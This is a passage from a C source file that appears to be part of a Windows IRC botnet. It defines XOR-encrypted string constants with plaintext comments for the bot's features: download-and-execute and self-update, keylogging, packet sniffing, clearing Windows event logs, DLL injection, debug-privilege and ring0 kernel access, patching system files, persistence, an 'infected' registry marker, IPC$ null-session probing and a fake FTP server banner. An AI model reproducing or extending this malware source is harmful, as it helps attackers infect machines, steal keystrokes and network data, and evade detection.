		"\xBA\xBB\xAC\xBD\xBB\xA0\xAC\xBF\xAC\xAD\xE9\xBD\xA6\xEC\xBA\xF3\xE9\xEC\xBA\xE5\xE9\xBC\xB9\xAD"
		"\xA8\xBD\xA0\xA7\xAE\xE7\xE7\xE7";
const char *string_ftpstoredfile = //%s%s%s%s %sfile:%s %s, %sstored to%s: %s.
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xEC\xBA\xAF\xA0\xA5\xAC\xF3\xEC\xBA\xE9\xEC\xBA\xE5\xE9\xEC"
		"\xBA\xBA\xBD\xA6\xBB\xAC\xAD\xE9\xBD\xA6\xEC\xBA\xF3\xE9\xEC\xBA\xE7";
const char *string_ftpunabletoretrieve = //%s%s%s%s unable to %sretrieve:%s %s!
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xBC\xA7\xA8\xAB\xA5\xAC\xE9\xBD\xA6\xE9\xEC\xBA\xBB\xAC\xBD"
		"\xBB\xA0\xAC\xBF\xAC\xF3\xEC\xBA\xE9\xEC\xBA\xE8";
const char *string_ftpunabletostore = //%s%s%s%s unable to %sstore:%s %s!
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xBC\xA7\xA8\xAB\xA5\xAC\xE9\xBD\xA6\xE9\xEC\xBA\xBA\xBD\xA6"
		"\xBB\xAC\xF3\xEC\xBA\xE9\xEC\xBA\xE8";
const char *string_ftpalreadytransferringfile = //%s%s%s%s already transferring file!
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xA8\xA5\xBB\xAC\xA8\xAD\xB0\xE9\xBD\xBB\xA8\xA7\xBA\xAF\xAC"
		"\xBB\xBB\xA0\xA7\xAE\xE9\xAF\xA0\xA5\xAC\xE8";
#endif

#ifndef NO_HTTP
const char *string_httpupdatefile = //%s%itmp.exe
		"\xEC\xBA\xEC\xA0\xBD\xA4\xB9\xE7\xAC\xB1\xAC";
const char *string_httpdownloading = //%s%s%s%s %sdownloading:%s %s...
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xEC\xBA\xAD\xA6\xBE\xA7\xA5\xA6\xA8\xAD\xA0\xA7\xAE"
		"\xF3\xEC\xBA\xE9\xEC\xBA\xE7\xE7\xE7";
const char *string_httpdownloadedfile = //%s%s%s%s %sfile:%s %s, %sdownloaded to%s: %s, %sexecution:%s %i.
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xEC\xBA\xAF\xA0\xA5\xAC\xF3\xEC\xBA\xE9\xEC\xBA\xE5"
		"\xE9\xEC\xBA\xAD\xA6\xBE\xA7\xA5\xA6\xA8\xAD\xAC\xAD\xE9\xBD\xA6\xEC\xBA\xF3\xE9\xEC\xBA"
		"\xE5\xE9\xEC\xBA\xAC\xB1\xAC\xAA\xBC\xBD\xA0\xA6\xA7\xF3\xEC\xBA\xE9\xEC\xA0\xE7";
const char *string_httpdownloadedupdate = //%s%s%s%s %sfile:%s %s, %sdownloaded to%s: %s. updating...
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xEC\xBA\xAF\xA0\xA5\xAC\xF3\xEC\xBA\xE9\xEC\xBA\xE5"
		"\xE9\xEC\xBA\xAD\xA6\xBE\xA7\xA5\xA6\xA8\xAD\xAC\xAD\xE9\xBD\xA6\xEC\xBA\xF3\xE9\xEC\xBA"
		"\xE7\xE9\xBC\xB9\xAD\xA8\xBD\xA0\xA7\xAE\xE7\xE7\xE7";
const char *string_httpunabletodownload = //%s%s%s%s unable to %sdownload:%s %s!
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xBC\xA7\xA8\xAB\xA5\xAC\xE9\xBD\xA6\xE9\xEC\xBA\xAD"
		"\xA6\xBE\xA7\xA5\xA6\xA8\xAD\xF3\xEC\xBA\xE9\xEC\xBA\xE8";
const char *string_httpalreadydownloadingfile = //%s%s%s%s already downloading file!
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xA8\xA5\xBB\xAC\xA8\xAD\xB0\xE9\xAD\xA6\xBE\xA7\xA5"
		"\xA6\xA8\xAD\xA0\xA7\xAE\xE9\xAF\xA0\xA5\xAC\xE8";
const char *string_httpagent = //Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1
		"\x84\xA6\xB3\xA0\xA5\xA5\xA8\xE6\xFD\xE7\xF9\xE9\xE1\xAA\xA6\xA4\xB9\xA8\xBD\xA0\xAB\xA5"
		"\xAC\xF2\xE9\x84\x9A\x80\x8C\xE9\xFF\xE7\xF9\xF2\xE9\x9E\xA0\xA7\xAD\xA6\xBE\xBA\xE9\x87"
		"\x9D\xE9\xFC\xE7\xF8";
const char *string_httpvisited = //%s%s%s%s visited %surl:%s %s.
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xBF\xA0\xBA\xA0\xBD\xAC\xAD\xE9\xEC\xBA\xBC\xBB\xA5"
		"\xF3\xEC\xBA\xE9\xEC\xBA\xE7";
const char *string_httpunabletovisit = //%s%s%s%s unable to visit %surl:%s %s!
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xBC\xA7\xA8\xAB\xA5\xAC\xE9\xBD\xA6\xE9\xBF\xA0\xBA"
		"\xA0\xBD\xE9\xEC\xBA\xBC\xBB\xA5\xF3\xEC\xBA\xE9\xEC\xBA\xE8";
#endif

const char *string_infoquestionmarks = //???
		"\xF6\xF6\xF6";
const char *string_infowindowsxp = //XP
		"\x91\x99";
#ifndef NO_INFO
const char *string_infonet = //%s%s%s%s %sconnection name:%s %s, %shostname:%s %s, %sexternal ip:%s %s, %sinternal ip:%s %s.
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xEC\xBA\xAA\xA6\xA7\xA7\xAC\xAA\xBD\xA0\xA6\xA7\xE9"
		"\xA7\xA8\xA4\xAC\xF3\xEC\xBA\xE9\xEC\xBA\xE5\xE9\xEC\xBA\xA1\xA6\xBA\xBD\xA7\xA8\xA4\xAC"
		"\xF3\xEC\xBA\xE9\xEC\xBA\xE5\xE9\xEC\xBA\xAC\xB1\xBD\xAC\xBB\xA7\xA8\xA5\xE9\xA0\xB9\xF3"
		"\xEC\xBA\xE9\xEC\xBA\xE5\xE9\xEC\xBA\xA0\xA7\xBD\xAC\xBB\xA7\xA8\xA5\xE9\xA0\xB9\xF3\xEC"
		"\xBA\xE9\xEC\xBA\xE7";
const char *string_infowindowsbuild = //Windows %s %s (%d.%d, Build: %d)
		"\x9E\xA0\xA7\xAD\xA6\xBE\xBA\xE9\xEC\xBA\xE9\xEC\xBA\xE9\xE1\xEC\xAD\xE7\xEC\xAD\xE5\xE9"
		"\x8B\xBC\xA0\xA5\xAD\xF3\xE9\xEC\xAD\xE0";
const char *string_infowindowsnt = //Windows NT
		"\x9E\xA0\xA7\xAD\xA6\xBE\xBA\xE9\x87\x9D";
const char *string_infowindows2000 = //2000
		"\xFB\xF9\xF9\xF9";
const char *string_infowindows2003 = //2003
		"\xFB\xF9\xF9\xFA";
const char *string_infowindowsvista = //Vista
		"\x9F\xA0\xBA\xBD\xA8";
const char *string_infoinfecteddate = //%04d/%02d/%02d
		"\xEC\xF9\xFD\xAD\xE6\xEC\xF9\xFB\xAD\xE6\xEC\xF9\xFB\xAD";
const char *string_infoinfectedsubkey = //SOFTWARE\Microsoft\Windows\CurrentVersion
		"\x9A\x86\x8F\x9D\x9E\x88\x9B\x8C\x95\x84\xA0\xAA\xBB\xA6\xBA\xA6\xAF\xBD\x95\x9E\xA0\xA7"
		"\xAD\xA6\xBE\xBA\x95\x8A\xBC\xBB\xBB\xAC\xA7\xBD\x9F\xAC\xBB\xBA\xA0\xA6\xA7";
const char *string_infoinfectedvaluename = //LastUpdate
		"\x85\xA8\xBA\xBD\x9C\xB9\xAD\xA8\xBD\xAC";
const char *string_infosys = //%s%s%s%s %scpu:%s %dMHz, %sram:%s %dMB total - %dMB free, %sdisk:%s %I64dGB (%I64dMB) total - %I64dGB (%I64dMB) free, %sos:%s %s, %ssysdir:%s %s, %suptime:%s %I64dd %I64dh %I64dm, %susername:%s %s, %scomputername:%s %s, %scountry:%s %s, %sinfected:%s %s.
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xEC\xBA\xAA\xB9\xBC\xF3\xEC\xBA\xE9\xEC\xAD\x84\x81"
		"\xB3\xE5\xE9\xEC\xBA\xBB\xA8\xA4\xF3\xEC\xBA\xE9\xEC\xAD\x84\x8B\xE9\xBD\xA6\xBD\xA8\xA5"
		"\xE9\xE4\xE9\xEC\xAD\x84\x8B\xE9\xAF\xBB\xAC\xAC\xE5\xE9\xEC\xBA\xAD\xA0\xBA\xA2\xF3\xEC"
		"\xBA\xE9\xEC\x80\xFF\xFD\xAD\x8E\x8B\xE9\xE1\xEC\x80\xFF\xFD\xAD\x84\x8B\xE0\xE9\xBD\xA6"
		"\xBD\xA8\xA5\xE9\xE4\xE9\xEC\x80\xFF\xFD\xAD\x8E\x8B\xE9\xE1\xEC\x80\xFF\xFD\xAD\x84\x8B"
		"\xE0\xE9\xAF\xBB\xAC\xAC\xE5\xE9\xEC\xBA\xA6\xBA\xF3\xEC\xBA\xE9\xEC\xBA\xE5\xE9\xEC\xBA"
		"\xBA\xB0\xBA\xAD\xA0\xBB\xF3\xEC\xBA\xE9\xEC\xBA\xE5\xE9\xEC\xBA\xBC\xB9\xBD\xA0\xA4\xAC"
		"\xF3\xEC\xBA\xE9\xEC\x80\xFF\xFD\xAD\xAD\xE9\xEC\x80\xFF\xFD\xAD\xA1\xE9\xEC\x80\xFF\xFD"
		"\xAD\xA4\xE5\xE9\xEC\xBA\xBC\xBA\xAC\xBB\xA7\xA8\xA4\xAC\xF3\xEC\xBA\xE9\xEC\xBA\xE5\xE9"
		"\xEC\xBA\xAA\xA6\xA4\xB9\xBC\xBD\xAC\xBB\xA7\xA8\xA4\xAC\xF3\xEC\xBA\xE9\xEC\xBA\xE5\xE9"
		"\xEC\xBA\xAA\xA6\xBC\xA7\xBD\xBB\xB0\xF3\xEC\xBA\xE9\xEC\xBA\xE5\xE9\xEC\xBA\xA0\xA7\xAF"
		"\xAC\xAA\xBD\xAC\xAD\xF3\xEC\xBA\xE9\xEC\xBA\xE7";
#endif

const char *string_kernel32library = //kernel32.dll
		"\xA2\xAC\xBB\xA7\xAC\xA5\xFA\xFB\xE7\xAD\xA5\xA5";

const char *string_injectfreelibraryfunction = //FreeLibrary
		"\x8F\xBB\xAC\xAC\x85\xA0\xAB\xBB\xA8\xBB\xB0";
const char *string_injectloadlibraryfunction = //LoadLibraryA
		"\x85\xA6\xA8\xAD\x85\xA0\xAB\xBB\xA8\xBB\xB0\x88";

#ifndef NO_KEYLOG
const char *string_keylogalreadyrunning = //%s%s%s%s keylog already running!
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xA2\xAC\xB0\xA5\xA6\xAE\xE9\xA8\xA5\xBB\xAC\xA8\xAD"
		"\xB0\xE9\xBB\xBC\xA7\xA7\xA0\xA7\xAE\xE8";
const char *string_keylogfailed = //%s%s%s%s keylog failed!
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xA2\xAC\xB0\xA5\xA6\xAE\xE9\xAF\xA8\xA0\xA5\xAC\xAD"
		"\xE8";
const char *string_keylogstarted = //%s%s%s%s keylog started.
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xA2\xAC\xB0\xA5\xA6\xAE\xE9\xBA\xBD\xA8\xBB\xBD\xAC"
		"\xAD\xE7";
const char *string_keylogsignaturestarted = //%s%s%s%s signature keylog started.
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xBA\xA0\xAE\xA7\xA8\xBD\xBC\xBB\xAC\xE9\xA2\xAC\xB0"
		"\xA5\xA6\xAE\xE9\xBA\xBD\xA8\xBB\xBD\xAC\xAD\xE7";
const char *string_keylogcaption = // (%s%s%s) 
		"\xE9\xE1\xEC\xBA\xEC\xBA\xEC\xBA\xE0\xE9";
const char *string_keyloglog = //%s%s%s%s %slog:%s %s
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xEC\xBA\xA5\xA6\xAE\xF3\xEC\xBA\xE9\xEC\xBA";
const char *string_keylogsignature = //%s%s%s%s %ssignature:%s %s
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xEC\xBA\xBA\xA0\xAE\xA7\xA8\xBD\xBC\xBB\xAC\xF3\xEC"
		"\xBA\xE9\xEC\xBA";
const char *string_keylogstopped = //%s%s%s%s keylog stopped.
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xA2\xAC\xB0\xA5\xA6\xAE\xE9\xBA\xBD\xA6\xB9\xB9\xAC"
		"\xAD\xE7";
const char *string_keylognotrunning = //%s%s%s%s keylog not running!
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xA2\xAC\xB0\xA5\xA6\xAE\xE9\xA7\xA6\xBD\xE9\xBB\xBC"
		"\xA7\xA7\xA0\xA7\xAE\xE8";
#endif

#ifndef NO_LOGIC
const char *string_logiccpu = //cpu
		"\xAA\xB9\xBC";
const char *string_logicdisk = //disk
		"\xAD\xA0\xBA\xA2";
const char *string_logichost = //host
		"\xA1\xA6\xBA\xBD";
const char *string_logicid = //id
		"\xA0\xAD";
const char *string_logicip = //ip
		"\xA0\xB9";
const char *string_logicnick = //nick
		"\xA7\xA0\xAA\xA2";
const char *string_logicram = //ram
		"\xBB\xA8\xA4";
const char *string_logicuptime = //uptime
		"\xBC\xB9\xBD\xA0\xA4\xAC";
const char *string_logiccommand = //:%s %s %s :%s%s
		"\xF3\xEC\xBA\xE9\xEC\xBA\xE9\xEC\xBA\xE9\xF3\xEC\xBA\xEC\xBA";
#endif

#ifndef NO_CLEARLOGS
const char *string_miscclearlogapplication = //Application
		"\x88\xB9\xB9\xA5\xA0\xAA\xA8\xBD\xA0\xA6\xA7";
const char *string_miscclearlogsecurity = //Security
		"\x9A\xAC\xAA\xBC\xBB\xA0\xBD\xB0";
const char *string_miscclearlogsystem = //System
		"\x9A\xB0\xBA\xBD\xAC\xA4";
#endif
const char *string_miscdebugprivilege = //SeDebugPrivilege
		"\x9A\xAC\x8D\xAC\xAB\xBC\xAE\x99\xBB\xA0\xBF\xA0\xA5\xAC\xAE\xAC";
const char *string_miscshutdownprivilege = //SeShutdownPrivilege
		"\x9A\xAC\x9A\xA1\xBC\xBD\xAD\xA6\xBE\xA7\x99\xBB\xA0\xBF\xA0\xA5\xAC\xAE\xAC";
const char *string_miscurlmonlibrary = //urlmon.dll
		"\xBC\xBB\xA5\xA4\xA6\xA7\xE7\xAD\xA5\xA5";
const char *string_miscurldownloadfunction = //URLDownloadToFileA
		"\x9C\x9B\x85\x8D\xA6\xBE\xA7\xA5\xA6\xA8\xAD\x9D\xA6\x8F\xA0\xA5\xAC\x88";

const char *string_netutilsfpchar = //%c
		"\xEC\xAA";
const char *string_netutilsfpwinnt = //Windows NT 4.0
		"\x9E\xA0\xA7\xAD\xA6\xBE\xBA\xE9\x87\x9D\xE9\xFD\xE7\xF9";
const char *string_netutilsfpwin2000 = //Windows 5.0
		"\x9E\xA0\xA7\xAD\xA6\xBE\xBA\xE9\xFC\xE7\xF9";
const char *string_netutilsfpwinxp = //Windows 5.1
		"\x9E\xA0\xA7\xAD\xA6\xBE\xBA\xE9\xFC\xE7\xF8";
const char *string_netutilsfpwin2003 = //Windows Server 2003 3790
		"\x9E\xA0\xA7\xAD\xA6\xBE\xBA\xE9\x9A\xAC\xBB\xBF\xAC\xBB\xE9\xFB\xF9\xF9\xFA\xE9\xFA\xFE"
		"\xF0\xF9";
const char *string_netutilsfpwinvista = //Windows 5.3
		"\x9E\xA0\xA7\xAD\xA6\xBE\xBA\xE9\xFC\xE7\xFA";
const char *string_netutilsipgetsockip = //%d.%d.%d.%d
		"\xEC\xAD\xE7\xEC\xAD\xE7\xEC\xAD\xE7\xEC\xAD";
const char *string_netutilsipprivateclassa = //10
		"\xF8\xF9";
const char *string_netutilsipprivateclassb = //172
		"\xF8\xFE\xFB";
const char *string_netutilsipprivateclassc = //192
		"\xF8\xF0\xFB";
const char *string_netutilsnullsessionipc = //\\%s\IPC$
		"\x95\x95\xEC\xBA\x95\x80\x99\x8A\xED";

#ifndef NO_PATCH
const char *string_patchsfcoslibrary = //sfc_os.dll
		"\xBA\xAF\xAA\x96\xA6\xBA\xE7\xAD\xA5\xA5";
const char *string_patchsleepfunction = //Sleep
		"\x9A\xA5\xAC\xAC\xB9";
const char *string_patchtcpipfile = //\drivers\tcpip.sys
		"\x95\xAD\xBB\xA0\xBF\xAC\xBB\xBA\x95\xBD\xAA\xB9\xA0\xB9\xE7\xBA\xB0\xBA";
#endif

#ifndef NO_PERSIST
const char *string_persistclosehandle = //CloseHandle
		"\x8A\xA5\xA6\xBA\xAC\x81\xA8\xA7\xAD\xA5\xAC";
const char *string_persistcreatefilea = //CreateFileA
		"\x8A\xBB\xAC\xA8\xBD\xAC\x8F\xA0\xA5\xAC\x88";
const char *string_persistcreatemutexa = //CreateMutexA
		"\x8A\xBB\xAC\xA8\xBD\xAC\x84\xBC\xBD\xAC\xB1\x88";
const char *string_persistgetlasterror = //GetLastError
		"\x8E\xAC\xBD\x85\xA8\xBA\xBD\x8C\xBB\xBB\xA6\xBB";
const char *string_persistreleasemutex = //ReleaseMutex
		"\x9B\xAC\xA5\xAC\xA8\xBA\xAC\x84\xBC\xBD\xAC\xB1";
const char *string_persistsleep = //Sleep
		"\x9A\xA5\xAC\xAC\xB9";
const char *string_persistwinexec = //WinExec
		"\x9E\xA0\xA7\x8C\xB1\xAC\xAA";
const char *string_persistclassname = //Shell_TrayWnd
		"\x9A\xA1\xAC\xA5\xA5\x96\x9D\xBB\xA8\xB0\x9E\xA7\xAD";
#endif

const char *string_processkilled = //%s%s%s%s %spid:%s %i killed.
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xEC\xBA\xB9\xA0\xAD\xF3\xEC\xBA\xE9\xEC\xA0\xE9\xA2"
		"\xA0\xA5\xA5\xAC\xAD\xE7";
const char *string_processunabletokill = //%s%s%s%s unable to kill %spid:%s %i!
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xBC\xA7\xA8\xAB\xA5\xAC\xE9\xBD\xA6\xE9\xA2\xA0\xA5"
		"\xA5\xE9\xEC\xBA\xB9\xA0\xAD\xF3\xEC\xBA\xE9\xEC\xA0\xE8";
const char *string_processlistingprocesses = //%s%s%s%s listing processes...
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xA5\xA0\xBA\xBD\xA0\xA7\xAE\xE9\xB9\xBB\xA6\xAA\xAC"
		"\xBA\xBA\xAC\xBA\xE7\xE7\xE7";
const char *string_processlistfailed = //%s%s%s%s listing processes failed!
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xA5\xA0\xBA\xBD\xA0\xA7\xAE\xE9\xB9\xBB\xA6\xAA\xAC"
		"\xBA\xBA\xAC\xBA\xE9\xAF\xA8\xA0\xA5\xAC\xAD\xE8";
const char *string_processlistprocess = //%s%s%s%s %sprocess:%s %i, %sname:%s %s, %spid:%s %d.
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xEC\xBA\xB9\xBB\xA6\xAA\xAC\xBA\xBA\xF3\xEC\xBA\xE9"
		"\xEC\xA0\xE5\xE9\xEC\xBA\xA7\xA8\xA4\xAC\xF3\xEC\xBA\xE9\xEC\xBA\xE5\xE9\xEC\xBA\xB9\xA0"
		"\xAD\xF3\xEC\xBA\xE9\xEC\xAD\xE7";
const char *string_processendofprocesslist = //%s%s%s%s end of processlist.
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xAC\xA7\xAD\xE9\xA6\xAF\xE9\xB9\xBB\xA6\xAA\xAC\xBA"
		"\xBA\xA5\xA0\xBA\xBD\xE7";
const char *string_processtarted = //%s%s%s%s %sprocess:%s %s, %svisibility:%s %i, started.
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xEC\xBA\xB9\xBB\xA6\xAA\xAC\xBA\xBA\xF3\xEC\xBA\xE9"
		"\xEC\xBA\xE5\xE9\xEC\xBA\xBF\xA0\xBA\xA0\xAB\xA0\xA5\xA0\xBD\xB0\xF3\xEC\xBA\xE9\xEC\xA0"
		"\xE5\xE9\xBA\xBD\xA8\xBB\xBD\xAC\xAD\xE7";
const char *string_processunabletostart = //%s%s%s%s unable to start %sprocess:%s %s, %svisibility:%s %i!
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xBC\xA7\xA8\xAB\xA5\xAC\xE9\xBD\xA6\xE9\xBA\xBD\xA8"
		"\xBB\xBD\xE9\xEC\xBA\xB9\xBB\xA6\xAA\xAC\xBA\xBA\xF3\xEC\xBA\xE9\xEC\xBA\xE5\xE9\xEC\xBA"
		"\xBF\xA0\xBA\xA0\xAB\xA0\xA5\xA0\xBD\xB0\xF3\xEC\xBA\xE9\xEC\xA0\xE8";

#ifndef NO_PSNIFF
const char *string_psniffalreadyrunning = //%s%s%s%s psniff already running!
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xB9\xBA\xA7\xA0\xAF\xAF\xE9\xA8\xA5\xBB\xAC\xA8\xAD"
		"\xB0\xE9\xBB\xBC\xA7\xA7\xA0\xA7\xAE\xE8";
const char *string_psniffailed = //%s%s%s%s psniff failed!
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xB9\xBA\xA7\xA0\xAF\xAF\xE9\xAF\xA8\xA0\xA5\xAC\xAD"
		"\xE8";
const char *string_psniffstarted = //%s%s%s%s psniff started.
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xB9\xBA\xA7\xA0\xAF\xAF\xE9\xBA\xBD\xA8\xBB\xBD\xAC"
		"\xAD\xE7";
const char *string_psniffpacket = //%s%s%s%s %spacket:%s %s, %sfrom%s: %s:%i - %s.
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xEC\xBA\xB9\xA8\xAA\xA2\xAC\xBD\xF3\xEC\xBA\xE9\xEC"
		"\xBA\xE5\xE9\xEC\xBA\xAF\xBB\xA6\xA4\xEC\xBA\xF3\xE9\xEC\xBA\xF3\xEC\xA0\xE9\xE4\xE9\xEC"
		"\xBA\xE7";
const char *string_psniffstopped = //%s%s%s%s psniff stopped.
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xB9\xBA\xA7\xA0\xAF\xAF\xE9\xBA\xBD\xA6\xB9\xB9\xAC"
		"\xAD\xE7";
const char *string_psniffnotrunning = //%s%s%s%s psniff not running!
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xB9\xBA\xA7\xA0\xAF\xAF\xE9\xA7\xA6\xBD\xE9\xBB\xBC"
		"\xA7\xA7\xA0\xA7\xAE\xE8";
#endif

#ifndef NO_RING0
const char *string_ring0ntdlllibrary = //ntdll.dll
		"\xA7\xBD\xAD\xA5\xA5\xE7\xAD\xA5\xA5";
const char *string_ring0keservicedescriptortablefunction = //KeServiceDescriptorTable
		"\x82\xAC\x9A\xAC\xBB\xBF\xA0\xAA\xAC\x8D\xAC\xBA\xAA\xBB\xA0\xB9\xBD\xA6\xBB\x9D\xA8\xAB\xA5\xAC";
const char *string_ring0psinitialsystemprocessfunction = //PsInitialSystemProcess
		"\x99\xBA\x80\xA7\xA0\xBD\xA0\xA8\xA5\x9A\xB0\xBA\xBD\xAC\xA4\x99\xBB\xA6\xAA\xAC\xBA\xBA";
#endif

#ifndef NO_SECURE
const char *string_securenonullsessionsubkey = //SYSTEM\CurrentControlSet\Control\Lsa
		"\x9A\x90\x9A\x9D\x8C\x84\x95\x8A\xBC\xBB\xBB\xAC\xA7\xBD\x8A\xA6\xA7\xBD\xBB\xA6\xA5\x9A"
		"\xAC\xBD\x95\x8A\xA6\xA7\xBD\xBB\xA6\xA5\x95\x85\xBA\xA8";
const char *string_securenonullsessionvaluename = //restrictanonymous
		"\xBB\xAC\xBA\xBD\xBB\xA0\xAA\xBD\xA8\xA7\xA6\xA7\xB0\xA4\xA6\xBC\xBA";
const char *string_securenodcomsubkey = //Software\Microsoft\Ole
		"\x9A\xA6\xAF\xBD\xBE\xA8\xBB\xAC\x95\x84\xA0\xAA\xBB\xA6\xBA\xA6\xAF\xBD\x95\x86\xA5\xAC";
const char *string_securenodcomvaluename = //EnableDCOM
		"\x8C\xA7\xA8\xAB\xA5\xAC\x8D\x8A\x86\x84";
const char *string_securenonetbtsubkey = //SYSTEM\CurrentControlSet\Services\NetBT\Parameters
		"\x9A\x90\x9A\x9D\x8C\x84\x95\x8A\xBC\xBB\xBB\xAC\xA7\xBD\x8A\xA6\xA7\xBD\xBB\xA6\xA5\x9A"
		"\xAC\xBD\x95\x9A\xAC\xBB\xBF\xA0\xAA\xAC\xBA\x95\x87\xAC\xBD\x8B\x9D\x95\x99\xA8\xBB\xA8"
		"\xA4\xAC\xBD\xAC\xBB\xBA";
const char *string_securenonetbtvaluename = //TransportBindName
		"\x9D\xBB\xA8\xA7\xBA\xB9\xA6\xBB\xBD\x8B\xA0\xA7\xAD\x87\xA8\xA4\xAC";
#endif

#ifndef NO_SPEEDTEST
const char *string_speedtestgettinghttpspeed = //%s%s%s%s getting http speed...
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xAE\xAC\xBD\xBD\xA0\xA7\xAE\xE9\xA1\xBD\xBD\xB9"
		"\xE9\xBA\xB9\xAC\xAC\xAD\xE7\xE7\xE7";
const char *string_speedtesthttprequest = //POST / HTTP/1.0%sHost: %s%sContent-Length: %d%s%s%s
		"\x99\x86\x9A\x9D\xE9\xE6\xE9\x81\x9D\x9D\x99\xE6\xF8\xE7\xF9\xEC\xBA\x81\xA6\xBA\xBD"
		"\xF3\xE9\xEC\xBA\xEC\xBA\x8A\xA6\xA7\xBD\xAC\xA7\xBD\xE4\x85\xAC\xA7\xAE\xBD\xA1\xF3"
		"\xE9\xEC\xAD\xEC\xBA\xEC\xBA\xEC\xBA";
const char *string_speedtesthttpspeedtest = //%s%s%s%s http speedtest, %seu:%s %d KiB/s, %sjp:%s %d KiB/s, %sus:%s %d KiB/s, %saverage upload:%s %d KiB/s.
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xA1\xBD\xBD\xB9\xE9\xBA\xB9\xAC\xAC\xAD\xBD\xAC"
		"\xBA\xBD\xE5\xE9\xEC\xBA\xAC\xBC\xF3\xEC\xBA\xE9\xEC\xAD\xE9\x82\xA0\x8B\xE6\xBA\xE5"
		"\xE9\xEC\xBA\xA3\xB9\xF3\xEC\xBA\xE9\xEC\xAD\xE9\x82\xA0\x8B\xE6\xBA\xE5\xE9\xEC\xBA"
		"\xBC\xBA\xF3\xEC\xBA\xE9\xEC\xAD\xE9\x82\xA0\x8B\xE6\xBA\xE5\xE9\xEC\xBA\xA8\xBF\xAC"
		"\xBB\xA8\xAE\xAC\xE9\xBC\xB9\xA5\xA6\xA8\xAD\xF3\xEC\xBA\xE9\xEC\xAD\xE9\x82\xA0\x8B"
		"\xE6\xBA\xE7";
#endif

const char *string_threadkilled = //%s%s%s%s %sthread:%s %i killed.
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xEC\xBA\xBD\xA1\xBB\xAC\xA8\xAD\xF3\xEC\xBA\xE9\xEC"
		"\xA0\xE9\xA2\xA0\xA5\xA5\xAC\xAD\xE7";
const char *string_threadunabletokill = //%s%s%s%s unable to kill %sthread:%s %i!
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xBC\xA7\xA8\xAB\xA5\xAC\xE9\xBD\xA6\xE9\xA2\xA0\xA5"
		"\xA5\xE9\xEC\xBA\xBD\xA1\xBB\xAC\xA8\xAD\xF3\xEC\xBA\xE9\xEC\xA0\xE8";
const char *string_threadlistingthreads = //%s%s%s%s listing threads...
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xA5\xA0\xBA\xBD\xA0\xA7\xAE\xE9\xBD\xA1\xBB\xAC\xA8"
		"\xAD\xBA\xE7\xE7\xE7";
const char *string_threadlistthread = //%s%s%s%s %sthread:%s %i, %sname:%s %s.
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xEC\xBA\xBD\xA1\xBB\xAC\xA8\xAD\xF3\xEC\xBA\xE9\xEC"
		"\xA0\xE5\xE9\xEC\xBA\xA7\xA8\xA4\xAC\xF3\xEC\xBA\xE9\xEC\xBA\xE7";
const char *string_threadendofthreadlist = //%s%s%s%s end of threadlist.
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xAC\xA7\xAD\xE9\xA6\xAF\xE9\xBD\xA1\xBB\xAC\xA8\xAD"
		"\xA5\xA0\xBA\xBD\xE7";

#ifndef NO_CRYPTOSHA256
const char *string_sha256char = //%02X
		"\xEC\xF9\xFB\x91";
#endif

const char *string_setip = //%i.%i.%i.%i
		"\xEC\xA0\xE7\xEC\xA0\xE7\xEC\xA0\xE7\xEC\xA0";

#ifndef NO_DAEMONFTP
const char *string_daemonftp220 = //220 Serv-U FTP Server v6.1 for WinSock ready...%s
